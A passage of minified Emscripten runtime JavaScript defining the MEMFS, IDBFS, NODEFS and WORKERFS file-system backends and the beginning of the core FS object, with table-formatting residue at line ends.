} | |
}, | |
file: { | |
node: { | |
getattr: MEMFS.node_ops.getattr, | |
setattr: MEMFS.node_ops.setattr | |
}, | |
stream: { | |
llseek: MEMFS.stream_ops.llseek, | |
read: MEMFS.stream_ops.read, | |
write: MEMFS.stream_ops.write, | |
allocate: MEMFS.stream_ops.allocate, | |
mmap: MEMFS.stream_ops.mmap, | |
msync: MEMFS.stream_ops.msync | |
} | |
}, | |
link: { | |
node: { | |
getattr: MEMFS.node_ops.getattr, | |
setattr: MEMFS.node_ops.setattr, | |
readlink: MEMFS.node_ops.readlink | |
}, | |
stream: {} | |
}, | |
chrdev: { | |
node: { | |
getattr: MEMFS.node_ops.getattr, | |
setattr: MEMFS.node_ops.setattr | |
}, | |
stream: FS.chrdev_stream_ops | |
} | |
}); | |
var o = FS.createNode(e, r, t, n); | |
return FS.isDir(o.mode) ? (o.node_ops = MEMFS.ops_table.dir.node, o.stream_ops = MEMFS.ops_table.dir.stream, o.contents = {}) : FS.isFile(o.mode) ? (o.node_ops = MEMFS.ops_table.file.node, o.stream_ops = MEMFS.ops_table.file.stream, o.usedBytes = 0, o.contents = null) : FS.isLink(o.mode) ? (o.node_ops = MEMFS.ops_table.link.node, o.stream_ops = MEMFS.ops_table.link.stream) : FS.isChrdev(o.mode) && (o.node_ops = MEMFS.ops_table.chrdev.node, o.stream_ops = MEMFS.ops_table.chrdev.stream), o.timestamp = Date.now(), e && (e.contents[r] = o), o | |
}, | |
getFileDataAsRegularArray: function(e) { | |
if (e.contents && e.contents.subarray) { | |
for (var r = [], t = 0; t < e.usedBytes; ++t) r.push(e.contents[t]); | |
return r | |
} | |
return e.contents | |
}, | |
getFileDataAsTypedArray: function(e) { | |
return e.contents ? e.contents.subarray ? e.contents.subarray(0, e.usedBytes) : new Uint8Array(e.contents) : new Uint8Array | |
}, | |
expandFileStorage: function(e, r) { | |
if (e.contents && e.contents.subarray && r > e.contents.length && (e.contents = MEMFS.getFileDataAsRegularArray(e), e.usedBytes = e.contents.length), !e.contents || e.contents.subarray) { | |
var t = e.contents ? e.contents.length : 0; | |
if (t >= r) return; | |
r = Math.max(r, t * (t < 1048576 ? 2 : 1.125) | 0), 0 != t && (r = Math.max(r, 256)); | |
var n = e.contents; | |
return e.contents = new Uint8Array(r), void(e.usedBytes > 0 && e.contents.set(n.subarray(0, e.usedBytes), 0)) | |
} | |
for (!e.contents && r > 0 && (e.contents = []); e.contents.length < r;) e.contents.push(0) | |
}, | |
resizeFileStorage: function(e, r) { | |
if (e.usedBytes != r) { | |
if (0 == r) return e.contents = null, void(e.usedBytes = 0); | |
if (!e.contents || e.contents.subarray) { | |
var t = e.contents; | |
return e.contents = new Uint8Array(new ArrayBuffer(r)), t && e.contents.set(t.subarray(0, Math.min(r, e.usedBytes))), void(e.usedBytes = r) | |
} | |
if (e.contents || (e.contents = []), e.contents.length > r) e.contents.length = r; | |
else | |
for (; e.contents.length < r;) e.contents.push(0); | |
e.usedBytes = r | |
} | |
}, | |
node_ops: { | |
getattr: function(e) { | |
var r = {}; | |
return r.dev = FS.isChrdev(e.mode) ? e.id : 1, r.ino = e.id, r.mode = e.mode, r.nlink = 1, r.uid = 0, r.gid = 0, r.rdev = e.rdev, FS.isDir(e.mode) ? r.size = 4096 : FS.isFile(e.mode) ? r.size = e.usedBytes : FS.isLink(e.mode) ? r.size = e.link.length : r.size = 0, r.atime = new Date(e.timestamp), r.mtime = new Date(e.timestamp), r.ctime = new Date(e.timestamp), r.blksize = 4096, r.blocks = Math.ceil(r.size / r.blksize), r | |
}, | |
setattr: function(e, r) { | |
void 0 !== r.mode && (e.mode = r.mode), void 0 !== r.timestamp && (e.timestamp = r.timestamp), void 0 !== r.size && MEMFS.resizeFileStorage(e, r.size) | |
}, | |
lookup: function(e, r) { | |
throw FS.genericErrors[ERRNO_CODES.ENOENT] | |
}, | |
mknod: function(e, r, t, n) { | |
return MEMFS.createNode(e, r, t, n) | |
}, | |
rename: function(e, r, t) { | |
if (FS.isDir(e.mode)) { | |
var n; | |
try { | |
n = FS.lookupNode(r, t) | |
} catch (e) {} | |
if (n) | |
for (var o in n.contents) throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY) | |
} | |
delete e.parent.contents[e.name], e.name = t, r.contents[t] = e, e.parent = r | |
}, | |
unlink: function(e, r) { | |
delete e.contents[r] | |
}, | |
rmdir: function(e, r) { | |
var t = FS.lookupNode(e, r); | |
for (var n in t.contents) throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY); | |
delete e.contents[r] | |
}, | |
readdir: function(e) { | |
var r = [".", ".."]; | |
for (var t in e.contents) e.contents.hasOwnProperty(t) && r.push(t); | |
return r | |
}, | |
symlink: function(e, r, t) { | |
var n = MEMFS.createNode(e, r, 41471, 0); | |
return n.link = t, n | |
}, | |
readlink: function(e) { | |
if (!FS.isLink(e.mode)) throw new FS.ErrnoError(ERRNO_CODES.EINVAL); | |
return e.link | |
} | |
}, | |
stream_ops: { | |
read: function(e, r, t, n, o) { | |
var i = e.node.contents; | |
if (o >= e.node.usedBytes) return 0; | |
var a = Math.min(e.node.usedBytes - o, n); | |
if (assert(a >= 0), a > 8 && i.subarray) r.set(i.subarray(o, o + a), t); | |
else | |
for (var s = 0; s < a; s++) r[t + s] = i[o + s]; | |
return a | |
}, | |
write: function(e, r, t, n, o, i) { | |
if (!n) return 0; | |
var a = e.node; | |
if (a.timestamp = Date.now(), r.subarray && (!a.contents || a.contents.subarray)) { | |
if (i) return a.contents = r.subarray(t, t + n), a.usedBytes = n, n; | |
if (0 === a.usedBytes && 0 === o) return a.contents = new Uint8Array(r.subarray(t, t + n)), a.usedBytes = n, n; | |
if (o + n <= a.usedBytes) return a.contents.set(r.subarray(t, t + n), o), n | |
} | |
if (MEMFS.expandFileStorage(a, o + n), a.contents.subarray && r.subarray) a.contents.set(r.subarray(t, t + n), o); | |
else | |
for (var s = 0; s < n; s++) a.contents[o + s] = r[t + s]; | |
return a.usedBytes = Math.max(a.usedBytes, o + n), n | |
}, | |
llseek: function(e, r, t) { | |
var n = r; | |
if (1 === t ? n += e.position : 2 === t && FS.isFile(e.node.mode) && (n += e.node.usedBytes), n < 0) throw new FS.ErrnoError(ERRNO_CODES.EINVAL); | |
return n | |
}, | |
allocate: function(e, r, t) { | |
MEMFS.expandFileStorage(e.node, r + t), e.node.usedBytes = Math.max(e.node.usedBytes, r + t) | |
}, | |
mmap: function(e, r, t, n, o, i, a) { | |
if (!FS.isFile(e.node.mode)) throw new FS.ErrnoError(ERRNO_CODES.ENODEV); | |
var s, u, l = e.node.contents; | |
if (2 & a || l.buffer !== r && l.buffer !== r.buffer) { | |
if ((o > 0 || o + n < e.node.usedBytes) && (l = l.subarray ? l.subarray(o, o + n) : Array.prototype.slice.call(l, o, o + n)), u = !0, !(s = _malloc(n))) throw new FS.ErrnoError(ERRNO_CODES.ENOMEM); | |
r.set(l, s) | |
} else u = !1, s = l.byteOffset; | |
return { | |
ptr: s, | |
allocated: u | |
} | |
}, | |
msync: function(e, r, t, n, o) { | |
if (!FS.isFile(e.node.mode)) throw new FS.ErrnoError(ERRNO_CODES.ENODEV); | |
if (2 & o) return 0; | |
MEMFS.stream_ops.write(e, r, 0, n, t, !1); | |
return 0 | |
} | |
} | |
}, IDBFS = { | |
dbs: {}, | |
indexedDB: function() { | |
if ("undefined" != typeof indexedDB) return indexedDB; | |
var e = null; | |
return "object" == typeof window && (e = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB), assert(e, "IDBFS used, but indexedDB not supported"), e | |
}, | |
DB_VERSION: 21, | |
DB_STORE_NAME: "FILE_DATA", | |
mount: function(e) { | |
return MEMFS.mount.apply(null, arguments) | |
}, | |
syncfs: function(e, r, t) { | |
IDBFS.getLocalSet(e, function(n, o) { | |
if (n) return t(n); | |
IDBFS.getRemoteSet(e, function(e, n) { | |
if (e) return t(e); | |
var i = r ? n : o, | |
a = r ? o : n; | |
IDBFS.reconcile(i, a, t) | |
}) | |
}) | |
}, | |
getDB: function(e, r) { | |
var t = IDBFS.dbs[e]; | |
if (t) return r(null, t); | |
var n; | |
try { | |
n = IDBFS.indexedDB().open(e, IDBFS.DB_VERSION) | |
} catch (e) { | |
return r(e) | |
} | |
if (!n) return r("Unable to connect to IndexedDB"); | |
n.onupgradeneeded = function(e) { | |
var r, t = e.target.result, | |
n = e.target.transaction; | |
(r = t.objectStoreNames.contains(IDBFS.DB_STORE_NAME) ? n.objectStore(IDBFS.DB_STORE_NAME) : t.createObjectStore(IDBFS.DB_STORE_NAME)).indexNames.contains("timestamp") || r.createIndex("timestamp", "timestamp", { | |
unique: !1 | |
}) | |
}, n.onsuccess = function() { | |
t = n.result, IDBFS.dbs[e] = t, r(null, t) | |
}, n.onerror = function(e) { | |
r(this.error), e.preventDefault() | |
} | |
}, | |
getLocalSet: function(e, r) { | |
function t(e) { | |
return "." !== e && ".." !== e | |
} | |
function n(e) { | |
return function(r) { | |
return PATH.join2(e, r) | |
} | |
} | |
for (var o = {}, i = FS.readdir(e.mountpoint).filter(t).map(n(e.mountpoint)); i.length;) { | |
var a, s = i.pop(); | |
try { | |
a = FS.stat(s) | |
} catch (e) { | |
return r(e) | |
} | |
FS.isDir(a.mode) && i.push.apply(i, FS.readdir(s).filter(t).map(n(s))), o[s] = { | |
timestamp: a.mtime | |
} | |
} | |
return r(null, { | |
type: "local", | |
entries: o | |
}) | |
}, | |
getRemoteSet: function(e, r) { | |
var t = {}; | |
IDBFS.getDB(e.mountpoint, function(e, n) { | |
if (e) return r(e); | |
var o = n.transaction([IDBFS.DB_STORE_NAME], "readonly"); | |
o.onerror = function(e) { | |
r(this.error), e.preventDefault() | |
}; | |
o.objectStore(IDBFS.DB_STORE_NAME).index("timestamp").openKeyCursor().onsuccess = function(e) { | |
var o = e.target.result; | |
if (!o) return r(null, { | |
type: "remote", | |
db: n, | |
entries: t | |
}); | |
t[o.primaryKey] = { | |
timestamp: o.key | |
}, o.continue() | |
} | |
}) | |
}, | |
loadLocalEntry: function(e, r) { | |
var t, n; | |
try { | |
n = FS.lookupPath(e).node, t = FS.stat(e) | |
} catch (e) { | |
return r(e) | |
} | |
return FS.isDir(t.mode) ? r(null, { | |
timestamp: t.mtime, | |
mode: t.mode | |
}) : FS.isFile(t.mode) ? (n.contents = MEMFS.getFileDataAsTypedArray(n), r(null, { | |
timestamp: t.mtime, | |
mode: t.mode, | |
contents: n.contents | |
})) : r(new Error("node type not supported")) | |
}, | |
storeLocalEntry: function(e, r, t) { | |
try { | |
if (FS.isDir(r.mode)) FS.mkdir(e, r.mode); | |
else { | |
if (!FS.isFile(r.mode)) return t(new Error("node type not supported")); | |
FS.writeFile(e, r.contents, { | |
encoding: "binary", | |
canOwn: !0 | |
}) | |
} | |
FS.chmod(e, r.mode), FS.utime(e, r.timestamp, r.timestamp) | |
} catch (e) { | |
return t(e) | |
} | |
t(null) | |
}, | |
removeLocalEntry: function(e, r) { | |
try { | |
FS.lookupPath(e); | |
var t = FS.stat(e); | |
FS.isDir(t.mode) ? FS.rmdir(e) : FS.isFile(t.mode) && FS.unlink(e) | |
} catch (e) { | |
return r(e) | |
} | |
r(null) | |
}, | |
loadRemoteEntry: function(e, r, t) { | |
var n = e.get(r); | |
n.onsuccess = function(e) { | |
t(null, e.target.result) | |
}, n.onerror = function(e) { | |
t(this.error), e.preventDefault() | |
} | |
}, | |
storeRemoteEntry: function(e, r, t, n) { | |
var o = e.put(t, r); | |
o.onsuccess = function() { | |
n(null) | |
}, o.onerror = function(e) { | |
n(this.error), e.preventDefault() | |
} | |
}, | |
removeRemoteEntry: function(e, r, t) { | |
var n = e.delete(r); | |
n.onsuccess = function() { | |
t(null) | |
}, n.onerror = function(e) { | |
t(this.error), e.preventDefault() | |
} | |
}, | |
reconcile: function(e, r, t) { | |
function n(e) { | |
if (e) { | |
if (!n.errored) return n.errored = !0, t(e) | |
} else if (++s >= o) return t(null) | |
} | |
var o = 0, | |
i = []; | |
Object.keys(e.entries).forEach(function(t) { | |
var n = e.entries[t], | |
a = r.entries[t]; | |
(!a || n.timestamp > a.timestamp) && (i.push(t), o++) | |
}); | |
var a = []; | |
if (Object.keys(r.entries).forEach(function(t) { | |
r.entries[t]; | |
e.entries[t] || (a.push(t), o++) | |
}), !o) return t(null); | |
var s = 0, | |
u = ("remote" === e.type ? e.db : r.db).transaction([IDBFS.DB_STORE_NAME], "readwrite"), | |
l = u.objectStore(IDBFS.DB_STORE_NAME); | |
u.onerror = function(e) { | |
n(this.error), e.preventDefault() | |
}, i.sort().forEach(function(e) { | |
"local" === r.type ? IDBFS.loadRemoteEntry(l, e, function(r, t) { | |
if (r) return n(r); | |
IDBFS.storeLocalEntry(e, t, n) | |
}) : IDBFS.loadLocalEntry(e, function(r, t) { | |
if (r) return n(r); | |
IDBFS.storeRemoteEntry(l, e, t, n) | |
}) | |
}), a.sort().reverse().forEach(function(e) { | |
"local" === r.type ? IDBFS.removeLocalEntry(e, n) : IDBFS.removeRemoteEntry(l, e, n) | |
}) | |
} | |
}, NODEFS = { | |
isWindows: !1, | |
staticInit: function() { | |
NODEFS.isWindows = !!process.platform.match(/^win/) | |
}, | |
mount: function(e) { | |
return assert(ENVIRONMENT_IS_NODE), NODEFS.createNode(null, "/", NODEFS.getMode(e.opts.root), 0) | |
}, | |
createNode: function(e, r, t, n) { | |
if (!FS.isDir(t) && !FS.isFile(t) && !FS.isLink(t)) throw new FS.ErrnoError(ERRNO_CODES.EINVAL); | |
var o = FS.createNode(e, r, t); | |
return o.node_ops = NODEFS.node_ops, o.stream_ops = NODEFS.stream_ops, o | |
}, | |
getMode: function(e) { | |
var r; | |
try { | |
r = fs.lstatSync(e), NODEFS.isWindows && (r.mode = r.mode | (146 & r.mode) >> 1) | |
} catch (e) { | |
if (!e.code) throw e; | |
throw new FS.ErrnoError(ERRNO_CODES[e.code]) | |
} | |
return r.mode | |
}, | |
realPath: function(e) { | |
for (var r = []; e.parent !== e;) r.push(e.name), e = e.parent; | |
return r.push(e.mount.opts.root), r.reverse(), PATH.join.apply(null, r) | |
}, | |
flagsToPermissionStringMap: { | |
0: "r", | |
1: "r+", | |
2: "r+", | |
64: "r", | |
65: "r+", | |
66: "r+", | |
129: "rx+", | |
193: "rx+", | |
514: "w+", | |
577: "w", | |
578: "w+", | |
705: "wx", | |
706: "wx+", | |
1024: "a", | |
1025: "a", | |
1026: "a+", | |
1089: "a", | |
1090: "a+", | |
1153: "ax", | |
1154: "ax+", | |
1217: "ax", | |
1218: "ax+", | |
4096: "rs", | |
4098: "rs+" | |
}, | |
flagsToPermissionString: function(e) { | |
if (e &= -2097153, e &= -2049, e &= -32769, (e &= -524289) in NODEFS.flagsToPermissionStringMap) return NODEFS.flagsToPermissionStringMap[e]; | |
throw new FS.ErrnoError(ERRNO_CODES.EINVAL) | |
}, | |
node_ops: { | |
getattr: function(e) { | |
var r, t = NODEFS.realPath(e); | |
try { | |
r = fs.lstatSync(t) | |
} catch (e) { | |
if (!e.code) throw e; | |
throw new FS.ErrnoError(ERRNO_CODES[e.code]) | |
} | |
return NODEFS.isWindows && !r.blksize && (r.blksize = 4096), NODEFS.isWindows && !r.blocks && (r.blocks = (r.size + r.blksize - 1) / r.blksize | 0), { | |
dev: r.dev, | |
ino: r.ino, | |
mode: r.mode, | |
nlink: r.nlink, | |
uid: r.uid, | |
gid: r.gid, | |
rdev: r.rdev, | |
size: r.size, | |
atime: r.atime, | |
mtime: r.mtime, | |
ctime: r.ctime, | |
blksize: r.blksize, | |
blocks: r.blocks | |
} | |
}, | |
setattr: function(e, r) { | |
var t = NODEFS.realPath(e); | |
try { | |
if (void 0 !== r.mode && (fs.chmodSync(t, r.mode), e.mode = r.mode), void 0 !== r.timestamp) { | |
var n = new Date(r.timestamp); | |
fs.utimesSync(t, n, n) | |
} | |
void 0 !== r.size && fs.truncateSync(t, r.size) | |
} catch (e) { | |
if (!e.code) throw e; | |
throw new FS.ErrnoError(ERRNO_CODES[e.code]) | |
} | |
}, | |
lookup: function(e, r) { | |
var t = PATH.join2(NODEFS.realPath(e), r), | |
n = NODEFS.getMode(t); | |
return NODEFS.createNode(e, r, n) | |
}, | |
mknod: function(e, r, t, n) { | |
var o = NODEFS.createNode(e, r, t, n), | |
i = NODEFS.realPath(o); | |
try { | |
FS.isDir(o.mode) ? fs.mkdirSync(i, o.mode) : fs.writeFileSync(i, "", { | |
mode: o.mode | |
}) | |
} catch (e) { | |
if (!e.code) throw e; | |
throw new FS.ErrnoError(ERRNO_CODES[e.code]) | |
} | |
return o | |
}, | |
rename: function(e, r, t) { | |
var n = NODEFS.realPath(e), | |
o = PATH.join2(NODEFS.realPath(r), t); | |
try { | |
fs.renameSync(n, o) | |
} catch (e) { | |
if (!e.code) throw e; | |
throw new FS.ErrnoError(ERRNO_CODES[e.code]) | |
} | |
}, | |
unlink: function(e, r) { | |
var t = PATH.join2(NODEFS.realPath(e), r); | |
try { | |
fs.unlinkSync(t) | |
} catch (e) { | |
if (!e.code) throw e; | |
throw new FS.ErrnoError(ERRNO_CODES[e.code]) | |
} | |
}, | |
rmdir: function(e, r) { | |
var t = PATH.join2(NODEFS.realPath(e), r); | |
try { | |
fs.rmdirSync(t) | |
} catch (e) { | |
if (!e.code) throw e; | |
throw new FS.ErrnoError(ERRNO_CODES[e.code]) | |
} | |
}, | |
readdir: function(e) { | |
var r = NODEFS.realPath(e); | |
try { | |
return fs.readdirSync(r) | |
} catch (e) { | |
if (!e.code) throw e; | |
throw new FS.ErrnoError(ERRNO_CODES[e.code]) | |
} | |
}, | |
symlink: function(e, r, t) { | |
var n = PATH.join2(NODEFS.realPath(e), r); | |
try { | |
fs.symlinkSync(t, n) | |
} catch (e) { | |
if (!e.code) throw e; | |
throw new FS.ErrnoError(ERRNO_CODES[e.code]) | |
} | |
}, | |
readlink: function(e) { | |
var r = NODEFS.realPath(e); | |
try { | |
return r = fs.readlinkSync(r), r = NODEJS_PATH.relative(NODEJS_PATH.resolve(e.mount.opts.root), r) | |
} catch (e) { | |
if (!e.code) throw e; | |
throw new FS.ErrnoError(ERRNO_CODES[e.code]) | |
} | |
} | |
}, | |
stream_ops: { | |
open: function(e) { | |
var r = NODEFS.realPath(e.node); | |
try { | |
FS.isFile(e.node.mode) && (e.nfd = fs.openSync(r, NODEFS.flagsToPermissionString(e.flags))) | |
} catch (e) { | |
if (!e.code) throw e; | |
throw new FS.ErrnoError(ERRNO_CODES[e.code]) | |
} | |
}, | |
close: function(e) { | |
try { | |
FS.isFile(e.node.mode) && e.nfd && fs.closeSync(e.nfd) | |
} catch (e) { | |
if (!e.code) throw e; | |
throw new FS.ErrnoError(ERRNO_CODES[e.code]) | |
} | |
}, | |
read: function(e, r, t, n, o) { | |
if (0 === n) return 0; | |
var i, a = new Buffer(n); | |
try { | |
i = fs.readSync(e.nfd, a, 0, n, o) | |
} catch (e) { | |
throw new FS.ErrnoError(ERRNO_CODES[e.code]) | |
} | |
if (i > 0) | |
for (var s = 0; s < i; s++) r[t + s] = a[s]; | |
return i | |
}, | |
write: function(e, r, t, n, o) { | |
var i, a = new Buffer(r.subarray(t, t + n)); | |
try { | |
i = fs.writeSync(e.nfd, a, 0, n, o) | |
} catch (e) { | |
throw new FS.ErrnoError(ERRNO_CODES[e.code]) | |
} | |
return i | |
}, | |
llseek: function(e, r, t) { | |
var n = r; | |
if (1 === t) n += e.position; | |
else if (2 === t && FS.isFile(e.node.mode)) try { | |
n += fs.fstatSync(e.nfd).size | |
} catch (e) { | |
throw new FS.ErrnoError(ERRNO_CODES[e.code]) | |
} | |
if (n < 0) throw new FS.ErrnoError(ERRNO_CODES.EINVAL); | |
return n | |
} | |
} | |
}, WORKERFS = { | |
DIR_MODE: 16895, | |
FILE_MODE: 33279, | |
reader: null, | |
mount: function(e) { | |
function r(e) { | |
for (var r = e.split("/"), t = n, i = 0; i < r.length - 1; i++) { | |
var a = r.slice(0, i + 1).join("/"); | |
o[a] || (o[a] = WORKERFS.createNode(t, r[i], WORKERFS.DIR_MODE, 0)), t = o[a] | |
} | |
return t | |
} | |
function t(e) { | |
var r = e.split("/"); | |
return r[r.length - 1] | |
} | |
assert(ENVIRONMENT_IS_WORKER), WORKERFS.reader || (WORKERFS.reader = new FileReaderSync); | |
var n = WORKERFS.createNode(null, "/", WORKERFS.DIR_MODE, 0), | |
o = {}; | |
return Array.prototype.forEach.call(e.opts.files || [], function(e) { | |
WORKERFS.createNode(r(e.name), t(e.name), WORKERFS.FILE_MODE, 0, e, e.lastModifiedDate) | |
}), (e.opts.blobs || []).forEach(function(e) { | |
WORKERFS.createNode(r(e.name), t(e.name), WORKERFS.FILE_MODE, 0, e.data) | |
}), (e.opts.packages || []).forEach(function(e) { | |
e.metadata.files.forEach(function(n) { | |
var o = n.filename.substr(1); | |
WORKERFS.createNode(r(o), t(o), WORKERFS.FILE_MODE, 0, e.blob.slice(n.start, n.end)) | |
}) | |
}), n | |
}, | |
createNode: function(e, r, t, n, o, i) { | |
var a = FS.createNode(e, r, t); | |
return a.mode = t, a.node_ops = WORKERFS.node_ops, a.stream_ops = WORKERFS.stream_ops, a.timestamp = (i || new Date).getTime(), assert(WORKERFS.FILE_MODE !== WORKERFS.DIR_MODE), t === WORKERFS.FILE_MODE ? (a.size = o.size, a.contents = o) : (a.size = 4096, a.contents = {}), e && (e.contents[r] = a), a | |
}, | |
node_ops: { | |
getattr: function(e) { | |
return { | |
dev: 1, | |
ino: void 0, | |
mode: e.mode, | |
nlink: 1, | |
uid: 0, | |
gid: 0, | |
rdev: void 0, | |
size: e.size, | |
atime: new Date(e.timestamp), | |
mtime: new Date(e.timestamp), | |
ctime: new Date(e.timestamp), | |
blksize: 4096, | |
blocks: Math.ceil(e.size / 4096) | |
} | |
}, | |
setattr: function(e, r) { | |
void 0 !== r.mode && (e.mode = r.mode), void 0 !== r.timestamp && (e.timestamp = r.timestamp) | |
}, | |
lookup: function(e, r) { | |
throw new FS.ErrnoError(ERRNO_CODES.ENOENT) | |
}, | |
mknod: function(e, r, t, n) { | |
throw new FS.ErrnoError(ERRNO_CODES.EPERM) | |
}, | |
rename: function(e, r, t) { | |
throw new FS.ErrnoError(ERRNO_CODES.EPERM) | |
}, | |
unlink: function(e, r) { | |
throw new FS.ErrnoError(ERRNO_CODES.EPERM) | |
}, | |
rmdir: function(e, r) { | |
throw new FS.ErrnoError(ERRNO_CODES.EPERM) | |
}, | |
readdir: function(e) { | |
var r = [".", ".."]; | |
for (var t in e.contents) e.contents.hasOwnProperty(t) && r.push(t); | |
return r | |
}, | |
symlink: function(e, r, t) { | |
throw new FS.ErrnoError(ERRNO_CODES.EPERM) | |
}, | |
readlink: function(e) { | |
throw new FS.ErrnoError(ERRNO_CODES.EPERM) | |
} | |
}, | |
stream_ops: { | |
read: function(e, r, t, n, o) { | |
if (o >= e.node.size) return 0; | |
var i = e.node.contents.slice(o, o + n), | |
a = WORKERFS.reader.readAsArrayBuffer(i); | |
return r.set(new Uint8Array(a), t), i.size | |
}, | |
write: function(e, r, t, n, o) { | |
throw new FS.ErrnoError(ERRNO_CODES.EIO) | |
}, | |
llseek: function(e, r, t) { | |
var n = r; | |
if (1 === t ? n += e.position : 2 === t && FS.isFile(e.node.mode) && (n += e.node.size), n < 0) throw new FS.ErrnoError(ERRNO_CODES.EINVAL); | |
return n | |
} | |
} | |
}; STATICTOP += 16, STATICTOP += 16, STATICTOP += 16; | |
var FS = { | |
root: null, | |
mounts: [], | |
devices: [null], | |
streams: [], | |
nextInode: 1, | |
nameTable: null, | |
currentPath: "/", | |
initialized: !1, | |
ignorePermissions: !0, | |
trackingDelegate: {}, | |
tracking: { | |
openFlags: { | |
READ: 1, | |
WRITE: 2 | |
} | |
}, | |
ErrnoError: null, | |
genericErrors: {}, | |
filesystems: null, | |
syncFSRequests: 0, | |
handleFSError: function(e) { | |
if (!(e instanceof FS.ErrnoError)) throw e + " : " + stackTrace(); | |
return ___setErrNo(e.errno) | |
}, | |
lookupPath: function(e, r) { | |
if (e = PATH.resolve(FS.cwd(), e), r = r || {}, !e) return { | |
path: "", | |
node: null | |
}; | |
var t = { | |
follow_mount: !0, | |
recurse_count: 0 | |
}; | |
for (var n in t) void 0 === r[n] && (r[n] = t[n]); | |
if (r.recurse_count > 8) throw new FS.ErrnoError(ERRNO_CODES.ELOOP); | |
for (var o = PATH.normalizeArray(e.split("/").filter(function(e) { | |
return !!e | |
}), !1), i = FS.root, a = "/", s = 0; s < o.length; s++) { | |
var u = s === o.length - 1; | |
if (u && r.parent) break; | |
if (i = FS.lookupNode(i, o[s]), a = PATH.join2(a, o[s]), FS.isMountpoint(i) && (!u || u && r.follow_mount) && (i = i.mounted.root), !u || r.follow) | |
for (var l = 0; FS.isLink(i.mode);) { | |
var c = FS.readlink(a); | |
a = PATH.resolve(PATH.dirname(a), c); | |
if (i = FS.lookupPath(a, { | |
recurse_count: r.recurse_count | |
}).node, l++ > 40) throw new FS.ErrnoError(ERRNO_CODES.ELOOP) | |
} | |
} | |
return { | |
path: a, | |
node: i | |
} | |
}, | |
getPath: function(e) { | |
for (var r;;) { | |
if (FS.isRoot(e)) { | |
var t = e.mount.mountpoint; | |
return r ? "/" !== t[t.length - 1] ? t + "/" + r : t + r : t | |
} | |
r = r ? e.name + "/" + r : e.name, e = e.parent | |
} | |
}, | |
hashName: function(e, r) { | |
for (var t = 0, n = 0; n < r.length; n++) t = (t << 5) - t + r.charCodeAt(n) | 0; | |
return (e + t >>> 0) % FS.nameTable.length | |
}, | |
hashAddNode: function(e) { | |
var r = FS.hashName(e.parent.id, e.name); | |
e.name_next = FS.nameTable[r], FS.nameTable[r] = e | |
}, | |
hashRemoveNode: function(e) { | |
var r = FS.hashName(e.parent.id, e.name); | |
if (FS.nameTable[r] === e) FS.nameTable[r] = e.name_next; | |
else | |
for (var t = FS.nameTable[r]; t;) { | |
if (t.name_next === e) { | |
t.name_next = e.name_next; | |
break | |
} | |
t = t.name_next | |
} | |
}, | |
lookupNode: function(e, r) { | |
var t = FS.mayLookup(e); | |
if (t) throw new FS.ErrnoError(t, e); | |
for (var n = FS.hashName(e.id, r), o = FS.nameTable[n]; o; o = o.name_next) { | |
var i = o.name; | |
if (o.parent.id === e.id && i === r) return o | |
} | |
return FS.lookup(e, r) | |
}, | |
createNode: function(e, r, t, n) { | |
if (!FS.FSNode) { | |
FS.FSNode = function(e, r, t, n) { | |
e || (e = this), this.parent = e, this.mount = e.mount, this.mounted = null, this.id = FS.nextInode++, this.name = r, this.mode = t, this.node_ops = {}, this.stream_ops = {}, this.rdev = n | |
}, FS.FSNode.prototype = {}; | |
Object.defineProperties(FS.FSNode.prototype, { | |
read: { | |
get: function() { | |
return 365 == (365 & this.mode) | |
}, | |
set: function(e) { | |
e ? this.mode |= 365 : this.mode &= -366 | |
} | |
}, | |
write: { | |
get: function() { | |
return 146 == (146 & this.mode) | |
}, | |
set: function(e) { | |
e ? this.mode |= 146 : this.mode &= -147 | |
} | |
}, | |
isFolder: { | |
get: function() { | |
return FS.isDir(this.mode) | |
} | |
}, | |
isDevice: { | |
get: function() { | |
return FS.isChrdev(this.mode) | |
} | |
} | |
}) | |
} | |
var o = new FS.FSNode(e, r, t, n); | |
return FS.hashAddNode(o), o | |
}, | |
destroyNode: function(e) { | |
FS.hashRemoveNode(e) | |
}, | |
isRoot: function(e) { | |
return e === e.parent | |
}, | |
isMountpoint: function(e) { | |
return !!e.mounted | |
}, | |
isFile: function(e) { | |
return 32768 == (61440 & e) | |
}, | |
isDir: function(e) { | |
return 16384 == (61440 & e) | |
}, | |
isLink: function(e) { | |
return 40960 == (61440 & e) | |
}, | |
isChrdev: function(e) { | |
return 8192 == (61440 & e) | |
}, | |
isBlkdev: function(e) { | |
return 24576 == (61440 & e) | |
}, | |
isFIFO: function(e) { | |
return 4096 == (61440 & e) | |
}, | |
isSocket: function(e) { | |
return 49152 == (49152 & e) | |
}, | |
flagModes: { | |
r: 0, | |
rs: 1052672, | |
"r+": 2, | |
w: 577, | |
wx: 705, | |
xw: 705, | |
"w+": 578, | |
"wx+": 706, | |
"xw+": 706, | |
a: 1089, | |
ax: 1217, | |
xa: 1217, | |
"a+": 1090, | |
"ax+": 1218, | |
"xa+": 1218 | |
}, | |
modeStringToFlags: function(e) { | |
var r = FS.flagModes[e]; | |
if (void 0 === r) throw new Error("Unknown file open mode: " + e); | |
return r | |
}, | |
flagsToPermissionString: function(e) { | |
var r = ["r", "w", "rw"][3 & e]; | |
return 512 & e && (r += "w"), r | |
}, | |
nodePermissions: function(e, r) { | |
return FS.ignorePermissions ? 0 : (-1 === r.indexOf("r") || 292 & e.mode) && (-1 === r.indexOf("w") || 146 & e.mode) && (-1 === r.indexOf("x") || 73 & e.mode) ? 0 : ERRNO_CODES.EACCES | |
}, | |
mayLookup: function(e) { | |
var r = FS.nodePermissions(e, "x"); | |
return r || (e.node_ops.lookup ? 0 : ERRNO_CODES.EACCES) | |
}, | |
mayCreate: function(e, r) { | |
try { | |
FS.lookupNode(e, r); | |
return ERRNO_CODES.EEXIST | |
} catch (e) {} | |
return FS.nodePermissions(e, "wx") | |
}, | |
mayDelete: function(e, r, t) { | |
var n; | |
try { | |
n = FS.lookupNode(e, r) | |
} catch (e) { | |
return e.errno | |
} | |
var o = FS.nodePermissions(e, "wx"); | |
if (o) return o; | |
if (t) { | |
if (!FS.isDir(n.mode)) return ERRNO_CODES.ENOTDIR; | |
if (FS.isRoot(n) || FS.getPath(n) === FS.cwd()) return ERRNO_CODES.EBUSY | |
} else if (FS.isDir(n.mode)) return ERRNO_CODES.EISDIR; | |
return 0 | |
}, | |
mayOpen: function(e, r) { | |
